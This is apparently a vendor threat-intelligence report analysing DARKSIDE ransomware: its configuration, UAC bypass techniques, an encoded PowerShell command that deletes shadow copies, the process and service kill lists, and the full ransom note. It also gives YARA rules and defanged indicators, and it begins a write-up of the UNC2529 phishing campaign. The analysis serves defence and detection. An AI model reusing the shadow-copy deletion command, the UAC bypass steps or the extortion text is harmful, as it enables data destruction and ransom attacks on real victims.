00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000080  95 AA A8 7C 2B 6A D5 12 0E 73 B3 7D BD 16 25 62  •ª¨|+jÕ..s³}½.%b
00000090  A4 A8 BF 19 73 F7 E0 BC DF 02 A8 94 32 CF 0C C0  ¤¨¿.s÷à¼ß.¨"2Ï.À
000000A0  C5 83 0F 14 66 02 87 EE FD 29 96 DF 02 05 C1 12  Ń..f.‡îý)–ß..Á.
000000B0  3E 43 A7 59 E1 F0 C4 5D AE E1 20 2E 77 D9 CA 3C  >C§YáðÄ]®á .wÙÊ<
000000C0  AD C6 BC 84 75 1C E7 0B F0 30 2A 51 13 7A B2 66  .Ƽ„u.ç.ð0*Q.z²f
000000D0  44 73 79 E1 E4 69 C3 CA 1B C1 76 63 65 95 EA CA  DsyáäiÃÊ.Ávce•êÊ
000000E0  F6 10 68 0D CE 36 61 F9 57 B9 19 50 31 D4 E1 70  ö.h.Î6aùW¹.P1Ôáp
000000F0  EC 7B 33 1E 4F 17 E1 80 1D BC CF 8C D8 C5 66 41  ì{3.O.á€.¼ÏŒØÅfA
00000100  E5 0A 00 00 02 6E 01 02 15 03 43 01 8E 24 0E 72  å....n....C.Ž$.r
<cut>

Figure 5: Partial decrypted configuration

The sample's 0x80-byte RSA public key blob begins at offset 0x80. The DWORD value at offset 0x100 is multiplied by 64 and an amount of memory equivalent to the result is allocated. The remaining bytes, which start at offset 0x104, are aPLib-decompressed into the allocated buffer. The decompressed bytes include the ransom note and other elements of the malware's configuration described as follows (e.g., processes to terminate, files to ignore). The first 0x60 bytes of the decompressed configuration are shown in Figure 6.

00000000  02 01 01 01 00 01 01 00 01 01 01 01 01 01 01 01  ................
00000010  01 01 01 01 01 01 24 00 72 00 65 00 63 00 79 00  ......$.r.e.c.y.
00000020  63 00 6C 00 65 00 2E 00 62 00 69 00 6E 00 00 00  c.l.e...b.i.n...
00000030  63 00 6F 00 6E 00 66 00 69 00 67 00 2E 00 6D 00  c.o.n.f.i.g...m.
00000040  73 00 69 00 00 00 24 00 77 00 69 00 6E 00 64 00  s.i...$.w.i.n.d.
00000050  6F 00 77 00 73 00 2E 00 7E 00 62 00 74 00 00 00  o.w.s...~.b.t...
<cut>

Figure 6: Partial decompressed configuration

The first byte from Figure 6 indicates the encryption mode. This sample is configured to encrypt using FAST mode. Supported values are as follows:

  • 1: FULL
  • 2: FAST
  • Other values: AUTO

The individual bytes from offset 0x02 to offset 0x15 in Figure 6 are Boolean values that dictate the malware's behavior. The malware takes the actions listed in Table 2 based on these values. Table 2 also identifies features that are enabled or disabled for the current sample.

Offset

Enabled

Description

0x01

Yes

Unknown

0x02

Yes

Encrypt local disks

0x03

Yes

Encrypt network shares

0x04

No

Perform language check

0x05

Yes

Delete volume shadow copies

0x06

Yes

Empty Recycle Bins

0x07

No

Self-delete

0x08

Yes

Perform UAC bypass if necessary

0x09

Yes

Adjust token privileges

0x0A

Yes

Logging

0x0B

Yes

Feature not used but results in the following strings being decrypted:

  • https://google.com/api/version
  • https://yahoo.com/v2/api

0x0C

Yes

Ignore specific folders

0x0D

Yes

Ignore specific files

0x0E

Yes

Ignore specific file extensions

0x0F

Yes

Feature not used; related to these strings: "backup" and "here_backups"

0x10

Yes

Feature not used: related to these strings: "sql" and "sqlite"

0x11

Yes

Terminate processes

0x12

Yes

Stop services

0x13

Yes

Feature not used; related to a buffer that contains the repeated string "blah"

0x14

Yes

Drop ransom note

0x15

Yes

Create a mutex

Table 2: Configuration bits

UAC Bypass

If the malware does not have elevated privileges, it attempts to perform one of two User Account Control (UAC) bypasses based on the operating system (OS) version. If the OS is older than Windows 10, the malware uses a documented slui.exe file handler hijack technique. This involves setting the registry value HKCU\Software\Classes\exefile\shell\open\command\Default to the malware path and executing slui.exe using the verb "runas."

If the OS version is Windows 10 or newer, the malware attempts a UAC bypass that uses the CMSTPLUA COM interface. The decrypted strings listed in Figure 7 are used to perform this technique.

Elevation:Administrator!new:
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}

Figure 7: Decrypted UAC bypass strings

Encryption Setup

The malware generates a pseudo-random file extension based on a MAC address on the system. In a DARKSIDE version observed in May 2021, the file extension is generated using a MachineGuid registry value as a seed rather than the MAC address. The file extension consists of eight lowercase hexadecimal characters (e.g., ".e98fc8f7") and is referred to as <ransom_ext>. The file extension generation algorithm has been recreated in Python. If logging is enabled, the malware creates the log file LOG<ransom_ext>.TXT in its current directory.

The malware supports the command line argument "-path," which allows an attacker to specify a directory to target for encryption.

The sample analyzed for this report is not configured to perform a system language check. If this functionality were enabled and the check succeeded, the string "This is a Russian-Speaking System, Exit" would be written to the log file and the malware would exit.

Anti-Recovery Techniques

The malware locates and empties Recycle Bins on the system. If the process is running under WOW64, it executes the PowerShell command in Figure 8 using CreateProcess to delete volume shadow copies.

powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763
6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"

Figure 8: Encoded PowerShell command

The decoded command from Figure 4 is "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}." If the malware is not running under WOW64, it uses COM objects and WMI commands to delete volume shadow copies. The decrypted strings in Figure 9 are used to facilitate this process.

root/cimv2
SELECT * FROM Win32_ShadowCopy
Win32_ShadowCopy.ID='%s'

Figure 9: Decrypted strings related to shadow copy deletion

System Manipulation

Any service the name of which contains one of the strings listed in Figure 10 is stopped and deleted.

vss
sql
svc$
memtas
mepocs
sophos
veeam
backup

Figure 10: Service-related strings

The version observed in May 2021 is additionally configured to stop and delete services containing the strings listed in Figure 11.

GxVss
GxBlr
GxFWD
GxCVD
GxCIMgr

Figure 11: Additional service-related strings in May version

Any process name containing one of the strings listed in Figure 12 is terminated.

sql
oracle
ocssd
dbsnmp
synctime
agntsvc
isqlplussvc
xfssvccon
mydesktopservice
ocautoupds
encsvc
firefox
tbirdconfig
mydesktopqos
ocomm
dbeng50
sqbcoreservice
excel
infopath
msaccess
mspub
onenote
outlook
powerpnt
steam
thebat
thunderbird
visio
winword
wordpad
notepad

Figure 12: Process-related strings

File Encryption

Based on its configuration, the malware targets fixed and removable disks as well as network shares. Some processes may be terminated so associated files can be successfully encrypted. However, the malware does not terminate processes listed in Figure 13.

vmcompute.exe
vmms.exe
vmwp.exe
svchost.exe
TeamViewer.exe
explorer.exe

Figure 13: Processes not targeted for termination

The malware uses the strings listed in Figure 14 to ignore certain directories during the encryption process.

windows
appdata
application data
boot
google
mozilla
program files
program files (x86)
programdata
system volume information
tor browser
windows.old
intel
msocache
perflogs
x64dbg
public
all users
default

Figure 14: Strings used to ignore directories

The files listed in Figure 15 are ignored.

$recycle.bin
config.msi
$windows.~bt
$windows.~ws

Figure 15: Ignored files

The version observed in May 2021 is additionally configured to ignore the files listed in Figure 16.

autorun.inf
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntldrntuser.dat
ntuser.dat
logntuser.ini
thumbs.db

Figure 16: Additional ignored files in May version

Additional files are ignored based on the extensions listed in Figure 17.

.386, .adv, .ani, .bat, .bin, .cab, .cmd, .com, .cpl, .cur, .deskthemepack, .diagcab, .diagcfg, .diagpkg, .dll, .drv, .exe, .hlp, .icl, .icns, .ico, .ics, .idx, .ldf, .lnk, .mod, .mpa, .msc, .msp, .msstyles, .msu, .nls, .nomedia, .ocx, .prf, .ps1, .rom, .rtp, .scr, .shs, .spl, .sys, .theme, .themepack, .wpx, .lock, .key, .hta, .msi, .pdb

Figure 17: Ignored file extensions

Files are encrypted using Salsa20 and a key randomly generated using RtlRandomEx. Each key is encrypted using the embedded RSA-1024 public key.

Ransom Note

The malware writes the ransom note shown in Figure 18 to README<ransom_ext>.TXT files written to directories it traverses.

----------- [ Welcome to Dark ] ------------->

What happend?
----------------------------------------------
Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.
But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.
Follow our instructions below and you will recover all your data.

Data leak
----------------------------------------------
First of all we have uploaded more then 100 GB data.

Example of data:
 - Accounting data
 - Executive data
 - Sales data
 - Customer Support data
 - Marketing data
 - Quality data
 - And more other...

Your personal leak page: http://darksidedxcftmqa[.]onion/blog/article/id/6/<REDACTED>
The data is preloaded and will be automatically published if you do not pay.
After publication, your data will be available for at least 6 months on our tor cdn servers.

We are ready:
- To provide you the evidence of stolen data
- To give you universal decrypting tool for all encrypted files.
- To delete all the stolen data.

What guarantees?
----------------------------------------------
We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.
We guarantee to decrypt one file for free. Go to the site and contact us.

How to get access on website?
----------------------------------------------
Using a TOR browser:
1) Download and install TOR browser from this site: https://torproject.org/
2) Open our website: http://darksidfqzcuhtk2[.]onion/<REDACTED>

When you open our website, put the following data in the input form:
Key:
<REDACTED>

!!! DANGER !!!
DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them.
!!! DANGER !!!

Figure 18: Ransom note

Decrypted Strings

Global\XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
https://google.com/api/version
https://yahoo.com/v2/api
sql
sqlite
$recycle.bin
config.msi
$windows.~bt
$windows.~ws
windows
appdata
application data
boot
google
mozilla
program files
program files (x86)
programdata
system volume information
tor browser
windows.old
intel
msocache
perflogs
x64dbg
public
all users
default
386
adv
ani
bat
bin
cab
cmd
com
cpl
cur
deskthemepack
diagcab
diagcfg
diagpkg
dll
drv
exe
hlp
icl
icns
ico
ics
idx
ldf
lnk
mod
mpa
msc
msp
msstyles
msu
nls
nomedia
ocx
prf
ps1
rom
rtp
scr
shs
spl
sys
theme
themepack
wpx
lock
key
hta
msi
pdb
vmcompute.exe
vmms.exe
vmwp.exe
svchost.exe
TeamViewer.exe
explorer.exe
oracle
ocssd
dbsnmp
synctime
agntsvc
isqlplussvc
xfssvccon
mydesktopservice
ocautoupds
encsvc
firefox
tbirdconfig
mydesktopqos
ocomm
dbeng50
sqbcoreservice
excel
infopath
msaccess
mspub
onenote
outlook
powerpnt
steam
thebat
thunderbird
visio
winword
wordpad
notepad
vss
sql
svc$
memtas
mepocs
sophos
veeam
backup
\r\nblahblahblahblahblahblahblahblahblahblahblahblahblahblahblahblah\r\nblahblahblahblahblahblahbl
ahblahblahblahblahblahblahblahblahblah\r\nblahblahblahblahblahblahblahblahblahblahblahblahblahblah
blahblah\r\nblahblahblah\r\n
\r\n----------- [ Welcome to Dark ] ------------->\r\n\r\nWhat happend?\r\n----------------------------------------------\r\nYour computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.\r\nBut you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.\r\nFollow our instructions below and you will recover all your data.\r\n\r\nData leak\r\n----------------------------------------------\r\nFirst of all we have uploaded more then 100 GB data.\r\n\r\nExample of data:\r\n - Accounting data\r\n - Executive data\r\n - Sales data\r\n - Customer Support data\r\n - Marketing data\r\n - Quality data\r\n - And more other...\r\n\r\nYour personal leak page: http://darksidedxcftmqa[.]onion/blog/article/id/6/<REDACTED>The data is preloaded and will be automatically published if you do not pay.\r\nAfter publication, your data will be available for at least 6 months on our tor cdn servers.\r\n\r\nWe are ready:\r\n- To provide you the evidence of stolen data\r\n- To give you universal decrypting tool for all encrypted files.\r\n- To delete all the stolen data.\r\n\r\nWhat guarantees?\r\n----------------------------------------------\r\nWe value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.\r\nAll our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.\r\nWe guarantee to decrypt one file for free. Go to the site and contact us.\r\n\r\nHow to get access on website? \r\n----------------------------------------------\r\nUsing a TOR browser:\r\n1) Download and install TOR browser from this site: https://torproject.org/\r\n2) Open our website: http://darksidfqzcuhtk2[.]onion/<REDACTED>\r\n\r\nWhen you open our website, put the following data in the input form:\r\nKey:\r\<REDACTED>\r\n\r\n!!! DANGER !!!\r\nDO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. \r\n!!! DANGER !!!\r\n
-path
INF
DBG
/C DEL /F /Q
 >> NUL
ComSpec
README
.TXT
Start Encrypting Target Folder
Encrypt Mode - AUTO
Started %u I/O Workers
Encrypted %u file(s)
Start Encrypt
[Handle %u]
File Encrypted Successful
Encrypt Mode - FAST
Encrypt Mode - FULL
This is a Russian-Speaking System, Exit
System Language Check
Encrypting Network Shares
Encrypting Local Disks
README
.TXT
Encrypt Mode - AUTO
Started %u I/O Workers
Encrypted %u file(s)
Start Encrypt
[Handle %u]
File Encrypted Successful
Encrypt Mode - FAST
Encrypt Mode - FULL
Terminating Processes
Deleting Shadow Copies
Uninstalling Services
Emptying Recycle Bin
This is a Russian-Speaking System, Exit
System Language Check
Start Encrypting All Files
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763
6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2
*$_,2))};iex $s"
root/cimv2
WQL
SELECT * FROM Win32_ShadowCopy
ID
Win32_ShadowCopy.ID='%s'
.exe
LOG%s.TXT
README%s.TXT
Software\Classes\exefile\shell\open\command
\slui.exe
runas
Elevation:Administrator!new:
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
explorer.exe

Figure 19: Decrypted strings

Appendix B: Indicators for Detection and Hunting

Yara Detections

The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are intended to serve as a starting point for hunting efforts to identify related activity; however, they may need adjustment over time if the malware family changes.

rule Ransomware_Win_DARKSIDE_v1__1
{
    meta:
        author = “FireEye”
        date_created = “2021-03-22”
        description = “Detection for early versions of DARKSIDE ransomware samples based on the encryption mode configuration values.”
        md5 = “1a700f845849e573ab3148daef1a3b0b”   
    strings:
        $consts = { 80 3D [4] 01 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] 00 00 04 00 [1-10] 00 00 00 00 [1-30] 80 3D [4] 02 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] FF FF FF FF [1-10] FF FF FF FF [1-30] 03 00 00 00 [1-10] 03 00 00 00 }
    condition:
        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $consts
}

Figure 20: DARKSIDE YARA rule

rule Dropper_Win_Darkside_1
{
    meta:
        author = "FireEye"
        date_created = "2021-05-11"
        description = "Detection for on the binary that was used as the dropper leading to DARKSIDE."
    strings:
        $CommonDLLs1 = "KERNEL32.dll" fullword
        $CommonDLLs2 = "USER32.dll" fullword
        $CommonDLLs3 = "ADVAPI32.dll" fullword
        $CommonDLLs4 = "ole32.dll" fullword
        $KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43 6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 }
        $KeyString2 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 }
        $Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C }
    condition:
        filesize < 2MB and filesize > 500KB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (all of ($CommonDLLs*)) and (all of ($KeyString*)) and $Slashes
}

Figure 21: DARKSIDE Dropper YARA rule

rule Backdoor_Win_C3_1
{
    meta:
        author = “FireEye”
        date_created = "2021-05-11"
        description = "Detection to identify the Custom Command and Control (C3) binaries."
        md5 = "7cdac4b82a7573ae825e5edb48f80be5"
    strings:
        $dropboxAPI = "Dropbox-API-Arg"
        $knownDLLs1 = "WINHTTP.dll" fullword
        $knownDLLs2 = "SHLWAPI.dll" fullword
        $knownDLLs3 = "NETAPI32.dll" fullword
        $knownDLLs4 = "ODBC32.dll" fullword
        $tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74 6F 6B 65 6E }
        $tokenString2 = { 5B 78 5D 20 65 72 72 6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E }
        $tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69 6E 67 20 74 6F 6B 65 6E }
    condition:
        filesize < 5MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (((all of ($knownDLLs*)) and ($dropboxAPI or (1 of ($tokenString*)))) or (all of ($tokenString*)))

Figure 22: Custom Command and Control (C3) YARA rule

Detecting DARKSIDE

FireEye products detect this activity at multiple stages of the attack lifecycle. The following table contains specific detections intended to identify and prevent malware and methods seen at these intrusions. For brevity, this list does not include FireEye’s existing detections for BEACON, BloodHound/SharpHound, and other common tools and malware that FireEye has observed both in this campaign and across a broad range of intrusion operations

Platform(s)

Detection Name

Network Security
Email Security
Detection On Demand
Malware Analysis
File Protect

  • Ransomware.SSL.DarkSide
  • Trojan.Generic
  • Ransomware.Linux.DARKSIDE
  • Ransomware.Win.Generic.MVX
  • Ransomware.Win.DARKSIDE.MVX
  • Ransomware.Linux.DARKSIDE.MVX
  • Ransomware.Win32.DarkSide.FEC3
  • FE_Ransomware_Win_DARKSIDE_1
  • FE_Ransomware_Win32_DARKSIDE_1
  • FE_Ransomware_Linux64_DARKSIDE_1
  • FE_Ransomware_Linux_DARKSIDE_1
  • FEC_Trojan_Win32_Generic_62
  • FE_Loader_Win32_Generic_177
  • FE_Loader_Win32_Generic_197
  • FE_Backdoor_Win_C3_1
  • FE_Backdoor_Win32_C3_1
  • FE_Backdoor_Win32_C3_2
  • FE_Backdoor_Win_C3_2
  • Backdoor.Win.C3
  • FE_Dropper_Win_Darkside_1

Endpoint Security

Real-Time (IOC)

  • BABYMETAL (BACKDOOR)
  • DARKSIDE RANSOMWARE (FAMILY)
  • SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
  • SUSPICIOUS POWERSHELL USAGE B (METHODOLOGY)

Malware Protection(AV/MG)

  • Generic.mg.*
  • Gen:Heur.FKP.17
  • Gen:Heur.Ransom.RTH.1
  • Gen:[email protected]
  • Gen:Variant.Razy.*
  • Trojan.CobaltStrike.CB
  • Trojan.GenericKD.*
  • Trojan.Linux.Ransom.H

UAC Protect

  • Malicious UAC bypass program detected

Helix

  • VPN ANALYTICS [Abnormal Logon]
  • WINDOWS ANALYTICS [Abnormal RDP Logon]
  • TEAMVIEWER CLIENT [User-Agent]
  • WINDOWS METHODOLOGY [Plink Reverse Tunnel]
  • WINDOWS METHODOLOGY - SERVICES [PsExec]

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID

Title

A101-700 

Malicious File Transfer - DARKSIDE, Download, Variant #2 

A101-701 

Malicious File Transfer - DARKSIDE, Download, Variant #3 

A101-702 

Malicious File Transfer - DARKSIDE, Download, Variant #4 

A101-703 

Malicious File Transfer - DARKSIDE, Download, Variant #5 

A101-704 

Malicious File Transfer - DARKSIDE, Download, Variant #6 

A101-705 

Malicious File Transfer - DARKSIDE, Download, Variant #7 

A101-706 

Malicious File Transfer - DARKSIDE, Download, Variant #8 

A101-707 

Malicious File Transfer - DARKSIDE, Download, Variant #9 

A101-708 

Malicious File Transfer - DARKSIDE, Download, Variant #10 

A101-709 

Malicious File Transfer - DARKSIDE, Download, Variant #11 

A101-710 

Malicious File Transfer - DARKSIDE, Download, Variant #12 

A101-711 

Malicious File Transfer - DARKSIDE, Download, Variant #13 

A101-712 

Malicious File Transfer - DARKSIDE, Download, Variant #14 

A101-713 

Malicious File Transfer - DARKSIDE, Download, Variant #15 

A101-714 

Malicious File Transfer - DARKSIDE, Download, Variant #16 

A101-715 

Malicious File Transfer - DARKSIDE, Download, Variant #17 

A101-716 

Malicious File Transfer - DARKSIDE, Download, Variant #18 

A101-717 

Malicious File Transfer - DARKSIDE, Download, Variant #19 

A101-718 

Malicious File Transfer - DARKSIDE, Download, Variant #20 

A101-719 

Malicious File Transfer - DARKSIDE, Download, Variant #21 

A101-720 

Malicious File Transfer - DARKSIDE, Download, Variant #22 

A101-721 

Malicious File Transfer - DARKSIDE, Download, Variant #23 

A101-722 

Malicious File Transfer - DARKSIDE, Download, Variant #24 

A101-723 

Malicious File Transfer - DARKSIDE, Download, Variant #25 

A101-724 

Malicious File Transfer - DARKSIDE, Download, Variant #26 

A101-725 

Malicious File Transfer - DARKSIDE, Download, Variant #27 

A101-726 

Malicious File Transfer - DARKSIDE, Download, Variant #28 

A101-727 

Malicious File Transfer - DARKSIDE, Download, Variant #29 

A101-728 

Malicious File Transfer - DARKSIDE, Download, Variant #30 

A101-729 

Malicious File Transfer - DARKSIDE, Download, Variant #31 

A101-730 

Malicious File Transfer - DARKSIDE, Download, Variant #32 

A101-731 

Malicious File Transfer - DARKSIDE, Download, Variant #33 

A101-732 

Malicious File Transfer - DARKSIDE, Download, Variant #34 

A101-733 

Malicious File Transfer - DARKSIDE, Download, Variant #35 

A101-734 

Malicious File Transfer - DARKSIDE, Download, Variant #36 

A101-735 

Malicious File Transfer - NGROK, Download, Variant #1 

A101-736 

Malicious File Transfer - UNC2465, LNK Downloader for SMOKEDHAM, Download 

A101-737 

Malicious File Transfer - BEACON, Download, Variant #3 

A101-738 

Data Exfiltration - RCLONE, Exfil Over SFTP 

A101-739 

Malicious File Transfer - RCLONE, Download, Variant #2 

A101-740 

Command and Control - DARKSIDE, DNS Query, Variant #1 

A101-741 

Command and Control - DARKSIDE, DNS Query, Variant #2 

A101-742 

Application Vulnerability - SonicWall, CVE-2021-20016, SQL Injection 

A104-771 

Protected Theater - DARKSIDE, PsExec Execution 

A104-772 

Host CLI - DARKSIDE, Windows Share Creation 

A104-773 

Protected Theater - DARKSIDE, Delete Volume Shadow Copy 

Related Indicators

UNC2628

Indicator

Description

104.193.252[.]197:443

BEACON C2

162.244.81[.]253:443

BEACON C2

185.180.197[.]86:443

BEACON C2

athaliaoriginals[.]com

BEACON C2

lagrom[.]com

BEACON C2

ctxinit.azureedge[.]net

BEACON C2

45.77.64[.]111

Login Source

181ab725468cc1a8f28883a95034e17d

BEACON Sample

UNC2659

Indicator

Description

173.234.155[.]208

Login Source

UNC2465

Indicator

Description

81.91.177[.]54 :7234

Remote Access

koliz[.]xyz

File Hosting

los-web[.]xyz

EMPIRE C2

sol-doc[.]xyz

Malicious Infrastructure

hxxp://sol-doc[.]xyz/sol/ID-482875588

Downloader URL

6c9cda97d945ffb1b63fd6aabcb6e1a8

Downloader LNK

7c8553c74c135d6e91736291c8558ea8

VBS Launcher

27dc9d3bcffc80ff8f1776f39db5f0a4

Ngrok Utility

DARKSIDE Ransomware Encryptor

DARKSIDE Sample MD5

04fde4340cc79cd9e61340d4c1e8ddfb

0e178c4808213ce50c2540468ce409d3

0ed51a595631e9b4d60896ab5573332f

130220f4457b9795094a21482d5f104b

1a700f845849e573ab3148daef1a3b0b

1c33dc87c6fdb80725d732a5323341f9

222792d2e75782516d653d5cccfcf33b

29bcd459f5ddeeefad26fc098304e786

3fd9b0117a0e79191859630148dcdc6d

47a4420ad26f60bb6bba5645326fa963

4d419dc50e3e4824c096f298e0fa885a

5ff75d33080bb97a8e6b54875c221777

66ddb290df3d510a6001365c3a694de2

68ada5f6aa8e3c3969061e905ceb204c

69ec3d1368adbe75f3766fc88bc64afc

6a7fdab1c7f6c5a5482749be5c4bf1a4

84c1567969b86089cc33dccf41562bcd

885fc8fb590b899c1db7b42fe83dddc3

91e2807955c5004f13006ff795cb803c

9d418ecc0f3bf45029263b0944236884

9e779da82d86bcd4cc43ab29f929f73f

a3d964aaf642d626474f02ba3ae4f49b

b0fd45162c2219e14bdccab76f33946e

b278d7ec3681df16a541cf9e34d3b70a

b9d04060842f71d1a8f3444316dc1843

c2764be55336f83a59aa0f63a0b36732

c4f1a1b73e4af0fbb63af8ee89a5a7fe

c81dae5c67fb72a2c2f24b178aea50b7

c830512579b0e08f40bc1791fc10c582

cfcfb68901ffe513e9f0d76b17d02f96

d6634959e4f9b42dfc02b270324fa6d9

e44450150e8683a0addd5c686cd4d202

f75ba194742c978239da2892061ba1b4

f87a2e1c3d148a67eaeb696b1ab69133

f913d43ba0a9f921b1376b26cd30fa34

f9fc1a1a95d5723c140c2a8effc93722

The UNC2529 Triple Double: A Trifecta Phishing Campaign

4 May 2021 at 14:00

In December 2020, Mandiant observed a widespread, global phishing campaign targeting numerous organizations across an array of industries. Mandiant tracks this threat actor as UNC2529. Based on the considerable infrastructure employed, tailored phishing lures and the professionally coded sophistication of the malware, this threat actor appears experienced and well resourced. This blog post will discuss the phishing campaign, identification of three new malware families, DOUBLEDRAG, DOUBLEDROP and DOUBLEBACK, provide a deep dive into their functionality, present an overview of the actor’s modus operandi and our conclusions. A future blog post will focus on the backdoor communications and the differences between DOUBLEBACK samples to highlight the malware evolution.

UNC2529 Phishing Overview

Mandiant observed the first wave of the phishing campaign occur on Dec. 2, 2020, and a second wave between Dec. 11 and Dec. 18, 2020.

During the initial flurry, Mandiant observed evidence that 28 organizations were sent phishing emails, though targeting was likely broader than directly observed. These emails were sent using 26 unique email addresses associated with the domain tigertigerbeads<.>com, and in only a small number of cases did we see the same address used across multiple recipient organizations. These phishing emails contained inline links to malicious URLs such as, hxxp://totallyhealth-wealth[.]com/downld-id_mw<redacted>Gdczs, engineered to entice the victim to download a file. UNC2529 employed at least 24 different domains to support this first, of a three-stage process.

The structure of URLs embedded in these phishing emails had the following patterns, where the string was an alphabetic variable of unknown function.

http://<fqdn>/downld-id_<string>
http://<fqdn>/downld-id-<string>
http://<fqdn>/files-upload_<string>
http://<fqdn>/files-upload-<string>
http://<fqdn>/get_file-id_<string>
http://<fqdn>/get_file-id-<string>
http://<fqdn>/zip_download_<string>
http://<fqdn>/zip_download-<string>

The first stage payload downloaded from these URLs consisted of a Zip compressed file containing a corrupt decoy PDF document and a heavily obfuscated JavaScript downloader. Mandiant tracks the downloader as DOUBLEDRAG. Interestingly, the PDF documents were obtained from public websites, but corrupted by removing bytes to render them unreadable with a standard PDF viewer. It is speculated that the victim would then attempt to launch the JavaScript (.js) file, which can be executed natively with Windows Script Host by simply double clicking on the file. All but one of the file name patterns for the ZIP, PDF and JS files were document_<state>_client-id_<4 digit number>.extension, such as “document_Ohio_client-id_8902.zip”.

Each of the observed DOUBLEDRAG downloaders used in the first wave attempted to download a second-stage memory-only dropper, which Mandiant tracks as DOUBLEDROP, from either hxxp://p-leh[.]com/update_java.dat or hxxp://clanvisits[.]com/mini.dat. The downloaded file is a heavily obfuscated PowerShell script that will launch a backdoor into memory. Mandiant tracks this third-stage backdoor as DOUBLEBACK. DOUBLEBACK samples observed during the phishing campaign beaconed to hxxps://klikbets[.]net/admin/client.php and hxxps://lasartoria[.]net/admin/client.php.

Prior to the second wave, observed between Dec. 11 and Dec. 18, 2020, UNC2529 hijacked a legitimate domain owned by a U.S. heating and cooling services company, modified DNS entries and leveraged that infrastructure to phish at least 22 organizations, five of which were also targeted in the first wave. It is not currently known how the legitimate domain was compromised. The threat actor used 20 newly observed domains to host the second-stage payload. 

The threat actor made slight modifications to the URL pattern during the second wave.

http://<fqdn>/<string>
http://<fqdn>/dowld_<string>
http://<fqdn>/download_<string>
http://<fqdn>/files_<string>
http://<fqdn>/id_<string>
http://<fqdn>/upld_<string>

Of note, the DOUBLEDRAG downloader observed in the first wave was replaced with a Microsoft Excel document containing an embedded legacy Excel 4.0 (XLM) macro in Excel 97-Excel 2003 Binary file format (BIFF8). When the file was opened and the macro executed successfully, it would attempt to download a second-stage payload from hxxps://towncentrehotels[.]com/ps1.dat. The core functionality of the DOUBLEDRAG JavaScript file and the BIFF8 macro is to download a file from a hardcoded URL. This Excel file was also found within Zip files, as seen in the first wave, although only one of the observed Zip files included a corresponding corrupt decoy PDF document. 

Additional DOUBLEBACK samples were extracted from DOUBLEDROP samples uploaded to a public malware repository, which revealed additional command and control servers (C2), hxxps://barrel1999[.]com/admin4/client.php, hxxps://widestaticsinfo[.]com/admin4/client.php, hxxps://secureinternet20[.]com/admin5/client.php, and hxxps://adsinfocoast[.]com/admin5/client.php. Three of these domains were registered after the observed second wave.

Tailored Targeting

